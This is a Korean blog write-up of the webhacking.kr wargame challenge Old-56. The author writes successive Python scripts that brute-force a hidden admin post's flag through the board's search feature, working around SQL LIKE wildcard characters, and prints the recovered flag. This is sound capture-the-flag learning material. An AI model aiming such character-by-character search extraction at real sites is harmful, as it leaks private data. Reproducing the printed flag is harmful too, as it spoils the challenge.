Season 1/워게임

Old - 56 Write Up

작성자 - LRTK

게시판 페이지가 나왔다. 기능을 보기 위해 게시판 글과 검색 기능을 사용해봤다.

 

Admin의 readme 글은 access denied로 볼 수 없다.

 

Guest의 hi~ 글은 권한이 모든 사람이 접근할 수 있는 권한인 듯하다.

해당 글들의 URL을 살펴보니, read=admin, read=quest로 되어 있었다.
때문에 Injection으로 문제 접근이 불가능해보였다.

 

검색 기능을 보기위해 admin, guest, hi~, readme를 입력해봤지만, 모두 위와 같이 결과가 출력되었다.

 

그래서 “게시판 글 안에 있는 Text를 검색하는건가?”라는 생각에 hello~를 검색하니, 글이 출력이 되었다.

이를 이용하여 나는 admin의 readme를 추측하기로 하였다.

readme 안에 있는 글은 flag가 있을 것이라 추측이 된다.

그래서 flag를 검색하니, readme가 출력이 되었다.

이제 파이썬으로 flag{을 시작으로 특수 문자, 알파벳, 숫자를 이용하여 무차별 공격을 시도하였다.

 

import requests, string
from bs4 import BeautifulSoup as bs

def flagParser(url:str):
    flag = 'flag{'
    while True:
        if flag[-1] == '}':
            break
        for i in string.ascii_lowercase + string.digits + string.punctuation:
            data = {'search': flag+i}

            res = requests.post(url, data=data)
            soup = bs(res.text, 'html.parser')
            result = soup.select('table tr td a')

            if result:
                flag += i
                print(flag)
                break

    return flag


if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-33/index.php'

    print(flagParser(url))
lag{himiko%a%cute%dont%hink%o%%%
flag{himiko%a%cute%dont%hink%o%%%%
flag{himiko%a%cute%dont%hink%o%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%%%%
flag{himiko%a%cute%dont%hink%o%%%%%%%%%%

되긴 되는데 뭔가 이상하게 나온다.

지금까지 flag 값에 띄어쓰기 대신 들어가는 특수문자 _이 안나오고, %이 나오는 것이다.

그리고 끝도 모르는 %이 계속 뒤에 출력이 되었다.

그래서 직접 값을 보내봐서 확인을 해봤다.

확인을 해보니, flag{himiko_는 readme가 출력이 되었고, flag{himiko_a는 출력이 안되었다.

나는 이것을 보고 readme 안에 flag{himiko%a~~~~flag{himiko_~~~~}이 있다는 것을 알 수 있었다.

코드를 수정하였다.

import requests, string
from bs4 import BeautifulSoup as bs

def flagParser(url:str):
    flag = 'flag{'
    while True:
        if flag[-1] == '}':
            break
        for i in string.ascii_lowercase + string.digits + '_}' + string.punctuation:
            data = {'search': flag+i}

            res = requests.post(url, data=data)
            soup = bs(res.text, 'html.parser')
            result = soup.select('table tr td a')

            if result:
                flag += i
                print(flag)
                break

    return flag


if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-33/index.php'

    print(flagParser(url))
flag{himiko_toga_is_cute_dont_you_think_so_
flag{himiko_toga_is_cute_dont_you_think_so__
flag{himiko_toga_is_cute_dont_you_think_so__%
flag{himiko_toga_is_cute_dont_you_think_so__%%
flag{himiko_toga_is_cute_dont_you_think_so__%%%
flag{himiko_toga_is_cute_dont_you_think_so__%%%%

잘 출력이 되다가 또 분기점을 만나서 %이 출력이 된다.

그래서 특수문자를 필요없는 줄여보기로 하였다.

flag에 들어가는 특수문자는 {, }, _, ?, !, @, $, ^, &, *으로 추려졌다.

왜냐하면 <, >, (, ){, } 때문에 사용을 안할 것으로 판단됐다.

여기서 특수문자가 나오는 순서에 따라 다른 값으로 빠지기 때문에 나는 순서를 }, ?, !, @, #, $, ^, &, *, _으로 수정하였다.

 

import requests, string
from bs4 import BeautifulSoup as bs

def flagParser(url:str):
    flag = 'flag{'
    while True:
        if flag[-1] == '}':
            break
        for i in string.ascii_lowercase + string.digits + '}?!@#$^&*_':
            data = {'search': flag+i}

            res = requests.post(url, data=data)
            soup = bs(res.text, 'html.parser')
            result = soup.select('table tr td a')

            if result:
                flag += i
                print(flag)
                break

    return flag


if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-33/index.php'

    print(flagParser(url))
flag{himiko_toga_is_cute_dont_you_think_s
flag{himiko_toga_is_cute_dont_you_think_so
flag{himiko_toga_is_cute_dont_you_think_so?
flag{himiko_toga_is_cute_dont_you_think_so?}
flag{himiko_toga_is_cute_dont_you_think_so?}

부족한 실력 때문에 시간을 많이 소모하였지만, Flag를 획득할 수 있었다.

'Season 1 > 워게임' 카테고리의 다른 글

(HackThisSite) Basic missions - Level 1  (0) 2021.05.23
Wargame.kr - already got  (0) 2021.05.23
Old - 51 Write Up  (0) 2021.05.22
Old - 43 Write Up  (0) 2021.05.21
Old - 41 Write Up  (0) 2021.05.21
Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.